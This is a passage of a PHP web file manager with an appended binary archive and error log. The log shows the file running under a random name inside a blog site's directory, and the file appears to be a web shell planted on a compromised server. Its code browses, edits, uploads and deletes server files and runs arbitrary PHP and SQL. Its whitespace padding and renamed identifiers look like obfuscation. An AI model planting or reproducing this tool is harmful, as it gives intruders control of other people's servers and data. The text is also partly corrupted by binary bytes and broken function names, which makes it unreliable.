		         		         // $phar->extractTo(dir($source));
		         	// }
		         // } 
		         // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
                                        
	} elseif (isset($_GET['gzfile'])) {

		         $source = base64_decode($_GET['gzfile']);
		         $archive = $source.'.tar';

		         $destination = basename($source).'.tar';
                               
		         if (is_file($archive)) unlink($archive);

		         if (is_file($archive.'.gz')) unlink($archive.'.gz');

		         set_time_limit(0);

		         //echo $destination;

		         $ext_arr = explode('.',basename($source));

		         if (isset($ext_arr[1])) {
                                       
		         	unset($ext_arr[0]);

		         	$ext=implode('.',$ext_arr);

		         } 

		         $phar = new PharData($destination);
                            
		         $phar->addFile($source);

		         $phar->compress(Phar::GZ,$ext.'.tar.gz');

		         unset($phar);

		         if (is_file($archive)) {

		         	if (is_file($archive.'.gz')) {
                               
		         		         unlink($archive); 

		         		         $destination .= '.gz';

		         	}
		         	$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
                           
		         	'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		         	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		         } else $msg .= __('Error occurred').': '.__('no fileSet');
                         
	}

?>





<table class="whole" id="header_table" >

<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>

</tr>
<?php if(!empty($msg)){ ?>

<tr>

	<td colspan="2" class="row2"><?=$msg?></td>
                          
</tr>

<?php } ?>
<tr>
    <td class="row2">
                                 
		         <table>
                                      
		         	<tr>
                                      
		         	<td>
		         		         <?=fm_home()?>

		         	</td>

                    


		         	<td>

		         	<?php if(!empty($fms_config['make_directory'])) { ?>
                                  
		         		         <form method="post" action="<?=$url_inc?>">
                             
		         		         <input type="hidden" name="path" value="<?=$path?>" />

		         		         <input type="text" name="dirname" size="15">
                                       
		         		         <input type="submit" name="mkdir" value="<?=__('Make directory')?>">
		         		         </form>
                                
		         	<?php } ?>
                                   
		         	
                
                
                </td>

		         	<td>
		         	<?php if(!empty($fms_config['new_file'])) { ?>
		         		         <form method="post" action="<?=$url_inc?>">

		         		         <input type="hidden" name="path"     value="<?=$path?>" />
		         		         <input type="text"   name="filename" size="15">
                            
		         		         <input type="submit" name="mkfile"   value="<?=__('New file')?>">
                         
		         		         </form>

		         	<?php } ?>
		         	</td>

		         	<td>
		         		         <form  method="post" action="<?=$url_inc?>" style="display:inline">

		         		         <input type="hidden" name="path" value="<?=$path?>" />
		         		         <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
		         		         <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
                                   
		         		         <input type="submit" name="search" value="<?=__('Search')?>">
		         		         </form>
                             
		         	</td>
                            
		         	<td>
                                 
		         	<?=fm_run_input('php')?>

		         	</td>
                                        
		         	<td>
                              
		         	<?=fm_run_input('sql')?>

		         	</td>

		         	</tr>

		         </table>

    </td>
                                        
    <td class="row3">

		         <table>

		         <tr>
                                     
		         <td>

		         <?php if (!empty($fms_config['upload_myfile'])) { ?>

		         	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">

		         	<input type="hidden" name="path" value="<?=$path?>" />

		         	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		         	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
		         	<input type="submit" name="test" value="<?=__('Upload')?>" />

		         	</form>

		         <?php } ?>
		         </td>
		         <td>

		         <?php if ($auth_local['authorize']) { ?>
		         	<form action="" method="post">&nbsp;&nbsp;&nbsp;

		         	<input name="quit" type="hidden" value="1">




		         	<?=__('Hello')?>, <?=$auth_local['login']?>
                             
		         	<input type="submit" value="<?=__('Quit')?>">
                                      
		         	</form>
		         <?php } ?>

		         </td>

		         <td>
		         <?=fm_lang_form($language)?>
		         </td>
		         <tr>

		         </table>
                                   
    </td>

</tr>
                          
</table>

<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">

<thead>
<tr> 
                                        
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>

    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
                              
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>

    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>
</thead>
                             
<tbody>




<?php
                                       
$elements = fm_scan_dir($path, '', 'all', true);

$dirs = array();
                                
$fileSet = array();
                                
foreach ($elements as $file){

    if(@is_dir($path . $file)){
        $dirs[] = $file;



    } else {

        $fileSet[] = $file;

    }

}
natsort($dirs); natsort($fileSet);
                         
$elements = array_merge($dirs, $fileSet);



foreach ($elements as $file){

    $filename = $path . $file;
                                
    $filedata = @stat($filename);

    if(@is_dir($filename)){
		         $filedata[7] = '';

		         if (!empty($fms_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
                            
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
                             
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);

		         $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';

		          if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
                          
    } else {
		         $link = 

		         	$fms_config['show_img']&&@getimagesize($filename) 

		         	? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
                        
		         	. fm_img_link($filename)

		         	.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
                                        
		         	: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

		         $e_arr = explode(".", $file);

		         $ext = end($e_arr);
                                  
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);

		         $arlink = in_array($ext,array('zip','gz','tar')) 
                                
		         ? ''
		         : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));

        $style = 'row1';
		         $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
                                 
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';

    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';

?>

<tr class="<?=$style?>"> 

    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>

    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
                                      
    <td><?=$arlink?></td>
</tr>
<?php
    }
}

?>

</tbody>

</table>

<div class="row3"><?php

	$mtime_share = explode(' ', microtime()); 
	



    $totaltime = $mtime_share[0] + $mtime_share[1] - $starttime; 

	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';

	if (!empty($fms_config['show_php_ver'])) echo ' | PHP '.phpversion();







	if (!empty($fms_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
                             
	if (!empty($fms_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);

	
    
    
    if (!empty($fms_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
                         
	if (!empty($fms_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';

	
    
    
    if (!empty($fms_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
                        
	if (!empty($fms_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';

	?>

</div>
<script type="text/javascript">
                                        
function download_xls(filename, text) {

	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	element.setAttribute('download', filename);
	element.style.display = 'none';

	document.body.appendChild(element);
	element.click();

	document.body.removeChild(element);
                                     
}



function base64_encode(m) {

	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {

		         c = m.charCodeAt(l);

		         if (128 > c) d = 1;

		         else

		         	for (d = 2; c >= 2 << 5 * d;) ++d;
		         for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])

	}
	b && (g += k[f << 6 - b]);
	return g

}



var tableToExcelData = (function() {

    var uri = 'data:application/vnd.ms-excel;base64,',

    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

    format = function(s, c) {

            return s.replace(/{(\w+)}/g, function(m, p) {
                                  
                return c[p];
            })

        }
                          
    return function(table, name) {

        if (!table.nodeType) table = document.getElementById(table)
                               
        var ctx = {
                                 
            worksheet: name || 'Worksheet',

            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		         t = new Date();
		         filename = 'fm_' + t.toISOString() + '.xls'

		         download_xls(filename, base64_encode(format(template, ctx)))

    }

})();


var table2Excel = function () {


    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");
                                

	this.CreateExcelSheet = 

		         function(el, name){
		         	if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer



		         		         var x = document.getElementById(el).rows;



		         		         var xls = new ActiveXObject("Excel.Application");



		         		         xls.visible = true;
		         		         xls.Workbooks.Add
		         		         for (i = 0; i < x.length; i++) {

		         		         	var y = x[i].cells;
                                 


		         		         	for (j = 0; j < y.length; j++) {
                        
		         		         		         xls.Cells(i + 1, j + 1).Value = y[j].innerText;
		         		         	}
		         		         }
                                        
		         		         xls.Visible = true;
		         		         xls.UserControl = true;

	
    
    	         		         return xls;
                                
		         	} else {

		         		         tableToExcelData(el, name);

		         	}

		         }

}
                                        
</script>

</body>

</html>
                                   


<?php








// Multa File Manager exemplaria fiunt cum functionibus extensivis et personalizabilibus



class archiveTar {

	var $archiveTitle = '';
                          
	var $temporaryFile = 0;

	var $filePointer = 0;
	var $isCompressedFile = true;
                           
	var $errorList = array();
                         
	var $fileSet = array();

	
                            
	function __construct(){

		         if (!isset($this->errorList)) $this->errorList = array();

	}
	
	function buildArchivePackage($file_list){

		         $result = false;
                           
		         if (file_exists($this->archiveTitle) && is_file($this->archiveTitle)) 	$newArchive = false;
		         else $newArchive = true;
		         if ($newArchive){
                                       
		         	if (!$this->initiateFileWrite()) return false;
		         } else {

		         	if (fileSetize($this->archiveTitle) == 0)	return $this->initiateFileWrite();

		         	if ($this->isCompressedFile) {

		         		         $this->finalizeTempFile();
		         		         if (!rename($this->archiveTitle, $this->archiveTitle.'.tmp')){
		         		         	$this->errorList[] = __('Cannot rename').' '.$this->archiveTitle.__(' to ').$this->archiveTitle.'.tmp';

		         		         	return false;
		         		         }
                             
		         		         $tmpArchive = gzopen($this->archiveTitle.'.tmp', 'rb');

		         		         if (!$tmpArchive){



                                    $this->errorList[] = $this->archiveTitle.'.tmp '.__('is not readable');
                         
		         		         	rename($this->archiveTitle.'.tmp', $this->archiveTitle);

		         		         	return false;
                                     
		         		         }

		         		         if (!$this->initiateFileWrite()){

                                    

		         		         	rename($this->archiveTitle.'.tmp', $this->archiveTitle);
                               
		         		         	return false;

		         		         }

		         		         $buffer = gzread($tmpArchive, 512);

		         		         if (!gzeof($tmpArchive)){
                          
		         		         	do {

		         		         		         $binaryData = pack('a512', $buffer);

		         		         		         $this->saveDataBlock($binaryData);
                                  
		         		         		         $buffer = gzread($tmpArchive, 512);
		         		         	}
		         		         	while (!gzeof($tmpArchive));
		         		         }
                              
		         		         gzclose($tmpArchive);
		         		         unlink($this->archiveTitle.'.tmp');
		         	} else {

		         		         $this->temporaryFile = fopen($this->archiveTitle, 'r+b');
                                        
		         		         if (!$this->temporaryFile)	return false;
		         	}

		         }
		         if (isset($file_list) && is_array($file_list)) {
                                        
		         if (count($file_list)>0)

		         	$result = $this->bundleFilesIntoArchive($file_list);
		         } else $this->errorList[] = __('No file').__(' to ').__('Archive');
		         if (($result)&&(is_resource($this->temporaryFile))){

		         	$binaryData = pack('a512', '');
		         	$this->saveDataBlock($binaryData);
                                  
		         }
                               
		         $this->finalizeTempFile();

		         if ($newArchive && !$result){

		         $this->finalizeTempFile();
		         unlink($this->archiveTitle);

		         }
		         return $result;
                             
	}


                                       
	function recoverArchive($path){
		         $fileName = $this->archiveTitle;

		         if (!$this->isCompressedFile){

		         	if (file_exists($fileName)){
                         
		         		         if ($fp = fopen($fileName, 'rb')){

		         		         	$data = fread($fp, 2);
                                  
		         		         	fclose($fp);

		         		         	if ($data == '\37\213'){
                                
		         		         		         $this->isCompressedFile = true;
                            
		         		         	}

		         		         }

		         	}
		         	elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isCompressedFile = true;
                                       
		         } 
		         $result = true;
                           
		         if ($this->isCompressedFile) $this->temporaryFile = gzopen($fileName, 'rb');

		         else $this->temporaryFile = fopen($fileName, 'rb');

		         if (!$this->temporaryFile){

		         	$this->errorList[] = $fileName.' '.__('is not readable');
		         	return false;

		         }

		         $result = $this->unbundleFilesIntoArchive($path);

		         	$this->finalizeTempFile();

		         return $result;

	}



	function displayErrorLogs	($message = '') {
		         $Errors = $this->errorList;
                          
		         if(count($Errors)>0) {

		         if (!empty($message)) $message = ' ('.$message.')';
		         	$message = __('Error occurred').$message.': <br/>';
		         	foreach ($Errors as $value)

		         		         $message .= $value.'<br/>';

		         	return $message;	

		         } else return '';

		         
                          
	}
	

	function bundleFilesIntoArchive($file_array){
		         $result = true;

		         if (!$this->temporaryFile){
		         	$this->errorList[] = __('Invalid file descriptor');

		         	return false;

		         }

		         if (!is_array($file_array) || count($file_array)<=0)
                        
          return true;

		         for ($i = 0; $i<count($file_array); $i++){

		         	$filename = $file_array[$i];
		         	if ($filename == $this->archiveTitle)

		         		         continue;
                                     
		         	if (strlen($filename)<=0)
                                      
		         		         continue;

		         	if (!file_exists($filename)){
		         		         $this->errorList[] = __('No file').' '.$filename;

		         		         continue;
		         	}

		         	if (!$this->temporaryFile){

		         	$this->errorList[] = __('Invalid file descriptor');

		         	return false;
		         	}
                               
		         if (strlen($filename)<=0){
		         	$this->errorList[] = __('Filename').' '.__('is incorrect');;
		         	return false;
		         }
		         $filename = str_replace('\\', '/', $filename);
		         $keep_filename = $this->generateValidPath($filename);
		         if (is_file($filename)){
		         	if (($file = fopen($filename, 'rb')) == 0){
                                    
		         		         $this->errorList[] = __('Mode ').__('is incorrect');

		         	}
		         		         if(($this->filePointer == 0)){

		         		         	if(!$this->insertHeaderInfo($filename, $keep_filename))
		         		         		         return false;

		         		         }

		         		         while (($buffer = fread($file, 512)) != ''){

		         		         	$binaryData = pack('a512', $buffer);
		         		         	$this->saveDataBlock($binaryData);
		         		         }

		         	fclose($file);
		         }	else $this->insertHeaderInfo($filename, $keep_filename);
                                       
		         	if (@is_dir($filename)){

		         		         if (!($handle = opendir($filename))){
		         		         	$this->errorList[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
		         		         	continue;

		         		         }

		         		         while (false !== ($dir = readdir($handle))){
		         		         	if ($dir!='.' && $dir!='..'){

		         		         		         $file_array_tmp = array();

		         		         		         if ($filename != '.')

		         		         		         	$file_array_tmp[] = $filename.'/'.$dir;

		         		         		         else

		         		         		         	$file_array_tmp[] = $dir;


                                       
		         		         		         $result = $this->bundleFilesIntoArchive($file_array_tmp);

		         		         	}

		         		         }




		         		         unset($file_array_tmp);
		         		         unset($dir);

		         		         unset($handle);

		         	}

		         }
                         
		         return $result;

	}



	function unbundleFilesIntoArchive($path){ 

		         $path = str_replace('\\', '/', $path);
		         if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
                             
		         clearstatcache();
		         while (strlen($binaryData = $this->retrieveDataBlock()) != 0){
                         
		         	if (!$this->fetchHeaderInfo($binaryData, $header)) return false;

		         	if ($header['filename'] == '') continue;
                            
		         	if ($header['typeflag'] == 'L'){		         	//reading long header
                                
		         		         $filename = '';
                               
		         		         $decr = floor($header['size']/512);

		         		         for ($i = 0; $i < $decr; $i++){

		         		         	$content = $this->retrieveDataBlock();
		         		         	$filename .= $content;
                                       
		         		         }

		         		         if (($laspiece = $header['size'] % 512) != 0){
		         		         	$content = $this->retrieveDataBlock();

		         		         	$filename .= substr($content, 0, $laspiece);

		         		         }
		         		         $binaryData = $this->retrieveDataBlock();
		         		         if (!$this->fetchHeaderInfo($binaryData, $header)) return false;

		         		         else $header['filename'] = $filename;

		         		         return true;
                        
		         	}

		         	if (($path != './') && ($path != '/')){
		         		         while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
		         		         if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
                            
		         		         else $header['filename'] = $path.'/'.$header['filename'];

		         	}

		         	
		         	if (file_exists($header['filename'])){

		         		         if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
		         		         	$this->errorList[] =__('File ').$header['filename'].__(' already exists').__(' as folder');

		         		         	return false;

		         		         }

		         		         if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){

		         		         	$this->errorList[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');

		         		         	return false;
                           
		         		         }
                                   
		         		         if (!is_writeable($header['filename'])){

		         		         	$this->errorList[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
		         		         	return false;
		         		         }
                                
		         	} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
                                      
		         		         $this->errorList[] = __('Cannot create directory').' '.__(' for ').$header['filename'];

		         		         return false;
                        
		         	}



		         	if ($header['typeflag'] == '5'){
                                   
		         		         if (!file_exists($header['filename']))		         {
                                 
		         		         	if (!mkdir($header['filename'], 0777))	{

		         		         		         
		         		         		         $this->errorList[] = __('Cannot create directory').' '.$header['filename'];

		         		         		         return false;

		         		         	} 
		         		         }
                             
		         	} else {

		         		         if (($destination = fopen($header['filename'], 'wb')) == 0) {
                        
		         		         	$this->errorList[] = __('Cannot write to file').' '.$header['filename'];

		         		         	return false;

		         		         } else {

		         		         	$decr = floor($header['size']/512);

		         		         	for ($i = 0; $i < $decr; $i++) {

		         		         		         $content = $this->retrieveDataBlock();

		         		         		         fwrite($destination, $content, 512);

		         		         	}
                         
		         		         	if (($header['size'] % 512) != 0) {

		         		         		         $content = $this->retrieveDataBlock();
		         		         		         fwrite($destination, $content, ($header['size'] % 512));

		         		         	}

		         		         	fclose($destination);
		         		         	touch($header['filename'], $header['time']);

		         		         }
		         		         clearstatcache();
                                     
		         		         if (fileSetize($header['filename']) != $header['size']) {
                            
		         		         	$this->errorList[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
		         		         	return false;
                                   
		         		         }

		         	}
		         	if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
		         	if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
		         	$this->dirs[] = $file_dir;
                        
		         	$this->fileSet[] = $header['filename'];
	
		         }

		         return true;
	}

                                
	function dirCheck($dir){

		         $parent_dir = dirname($dir);
                                   

                                 
		         if ((@is_dir($dir)) or ($dir == ''))
                                        
		         	return true;


		         if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))

		         	return false;

                                     
		         if (!mkdir($dir, 0777)){
		         	$this->errorList[] = __('Cannot create directory').' '.$dir;

		         	return false;

		         }

		         return true;
	}


	function fetchHeaderInfo($binaryData, &$header){
		         if (strlen($binaryData)==0){
		         	$header['filename'] = '';
		         	return true;
                                        
		         }


                                    
		         if (strlen($binaryData) != 512){
		         	$header['filename'] = '';

		         	$this->__('Invalid block size').': '.strlen($binaryData);
		         	return false;

		         }


		         $fileHash = 0;
		         for ($i = 0; $i < 148; $i++) $fileHash+=ord(substr($binaryData, $i, 1));

		         for ($i = 148; $i < 156; $i++) $fileHash += ord(' ');
		         for ($i = 156; $i < 512; $i++) $fileHash+=ord(substr($binaryData, $i, 1));


		         $unpack_data = unpack('a100filename/a8mode/a8userIdentifier/a8group_id/a12size/a12time/a8fileHash/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
                                  


		         $header['fileHash'] = OctDec(trim($unpack_data['fileHash']));
		         if ($header['fileHash'] != $fileHash){
                                
		         	$header['filename'] = '';

		         	if (($fileHash == 256) && ($header['fileHash'] == 0)) 	return true;

		         	$this->errorList[] = __('Error fileHash for file ').$unpack_data['filename'];
                                     
		         	return false;
                               
		         }

                                     
		         if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;

		         $header['filename'] = trim($unpack_data['filename']);

		         $header['mode'] = OctDec(trim($unpack_data['mode']));
                                     
		         $header['userIdentifier'] = OctDec(trim($unpack_data['userIdentifier']));

		         $header['group_id'] = OctDec(trim($unpack_data['group_id']));

		         $header['size'] = OctDec(trim($unpack_data['size']));

		         $header['time'] = OctDec(trim($unpack_data['time']));

		         return true;

	}



	function insertHeaderInfo($filename, $keep_filename){

		         $packF = 'a100a8a8a8a12A12';
		         $packL = 'a1a100a6a2a32a32a8a8a155a12';
                                       
		         if (strlen($keep_filename)<=0) $keep_filename = $filename;

		         $filename_ready = $this->generateValidPath($keep_filename);

		         if (strlen($filename_ready) > 99){		         		         		         	//write long header
		         $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

		         $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');



        //  Calculate the fileHash

		         $fileHash = 0;
        //  First part of the header

		         for ($i = 0; $i < 148; $i++)
		         	$fileHash += ord(substr($dataFirst, $i, 1));

        //  Ignore the fileHash value and replace it by ' ' (space)
		         for ($i = 148; $i < 156; $i++)
		         	$fileHash += ord(' ');

        //  Last part of the header
                                    
		         for ($i = 156, $j=0; $i < 512; $i++, $j++)

		         	$fileHash += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		         $this->saveDataBlock($dataFirst, 148);

        //  Write the calculated fileHash

		         $fileHash = sprintf('%6s ', DecOct($fileHash));
		         $binaryData = pack('a8', $fileHash);
                              
		         $this->saveDataBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
                            
		         $this->saveDataBlock($dataLast, 356);


                                 
		         $temporaryFilename = $this->generateValidPath($filename_ready);

		         $i = 0;
                                
		         	while (($buffer = substr($temporaryFilename, (($i++)*512), 512)) != ''){
                        
		         		         $binaryData = pack('a512', $buffer);
		         		         $this->saveDataBlock($binaryData);
                                  
		         	}

		         return true;
		         }

		         $file_info = stat($filename);

		         if (@is_dir($filename)){
                              
		         	$typeflag = '5';

		         	$size = sprintf('%11s ', DecOct(0));
		         } else {
		         	$typeflag = '';

		         	clearstatcache();
                            
		         	$size = sprintf('%11s ', DecOct(fileSetize($filename)));

		         }

		         $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

		         $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');

		         $fileHash = 0;

		         for ($i = 0; $i < 148; $i++) $fileHash += ord(substr($dataFirst, $i, 1));
                              
		         for ($i = 148; $i < 156; $i++) $fileHash += ord(' ');

		         for ($i = 156, $j = 0; $i < 512; $i++, $j++) $fileHash += ord(substr($dataLast, $j, 1));

		         $this->saveDataBlock($dataFirst, 148);

		         $fileHash = sprintf('%6s ', DecOct($fileHash));

		         $binaryData = pack('a8', $fileHash);
                                
		         $this->saveDataBlock($binaryData, 8);

		         $this->saveDataBlock($dataLast, 356);

		         return true;
	}
                              


	function initiateFileWrite(){
		         if ($this->isCompressedFile)
		         	$this->temporaryFile = gzopen($this->archiveTitle, 'wb9f');
                               
		         else

		         	$this->temporaryFile = fopen($this->archiveTitle, 'wb');


		         if (!($this->temporaryFile)){

		         	$this->errorList[] = __('Cannot write to file').' '.$this->archiveTitle;
                           
		         	return false;

		         }
		         return true;
                                      
	}

                                       
	function retrieveDataBlock(){

		         if (is_resource($this->temporaryFile)){

		         	if ($this->isCompressedFile)

		         		         $block = gzread($this->temporaryFile, 512);

		         	else
                               
		         		         $block = fread($this->temporaryFile, 512);
                               
		         } else	$block = '';
                                

                             
		         return $block;
                                       
	}


	function saveDataBlock($data, $length = 0){

		         if (is_resource($this->temporaryFile)){
                                  
		         

		         	if ($length === 0){

		         		         if ($this->isCompressedFile)
                                   
		         		         	gzputs($this->temporaryFile, $data);
                               
		         		         else

		         		         	fputs($this->temporaryFile, $data);

		         	} else {
		         		         if ($this->isCompressedFile)

		         		         	gzputs($this->temporaryFile, $data, $length);
		         		         else

		         		         	fputs($this->temporaryFile, $data, $length);

		         	}
                        
		         }

	}


	function finalizeTempFile(){
		         if (is_resource($this->temporaryFile)){
                                        
		         	if ($this->isCompressedFile)

		         		         gzclose($this->temporaryFile);

		         	else

		         		         fclose($this->temporaryFile);



		         	$this->temporaryFile = 0;

		         }

	}



	function generateValidPath($path){
                                        
		         if (strlen($path)>0){
                                      
		         	$path = str_replace('\\', '/', $path);
		         	$partPath = explode('/', $path);

		         	$els = count($partPath)-1;

		         	for ($i = $els; $i>=0; $i--){

		         		         if ($partPath[$i] == '.'){

                    //  Ignore this directory
                          
                } elseif ($partPath[$i] == '..'){

                    $i--;

                }

		         		         elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else

		         		         	$result = $partPath[$i].($i!=$els ? '/'.$result : '');
		         	}
                                   
		         } else $result = '';
		         

		         return $result;

	}
                                  
}

?>
PK�Bg\, ���error_log.tar.gznu�[�����o�0�w����.�a��8����Ti�8 T���%v缨��;���8�"�~�D�s�^~�"7�7����-�Ƭ;om�l�ױ�ey�PT̄�ÊjgO'�R��'%y��D&��'<+�"�[�G�z��u�����_��<�x��EB�D�D��n�W�`q��7:8
���ά��U��äA������m���`—r\���0N�v;6�g{�5��z@�t�ّ�����*�kZWz��`@�e��z�\@0���Ú���X��^{��]�,��k~2ԣ��,�4����,�ɥ�B��	�7$3%9��+�$U2Q���x��Tq��G?�\���p��[W��6/?W��o@Ø�v��]�-5��1�>���1��Yt����4*:�Gl3�Ļ�W�ߺ��j2��|�u�>F�*�"���\8餓�}}H�9�PK�Bg\�fuhh	error_lognu�[���[06-Mar-2026 16:13:57 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/greakqsw/theblogginglab.org/56fz7d/u1a79.php on line 195
[06-Mar-2026 18:41:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/greakqsw/theblogginglab.org/56fz7d/u1a79.php on line 195
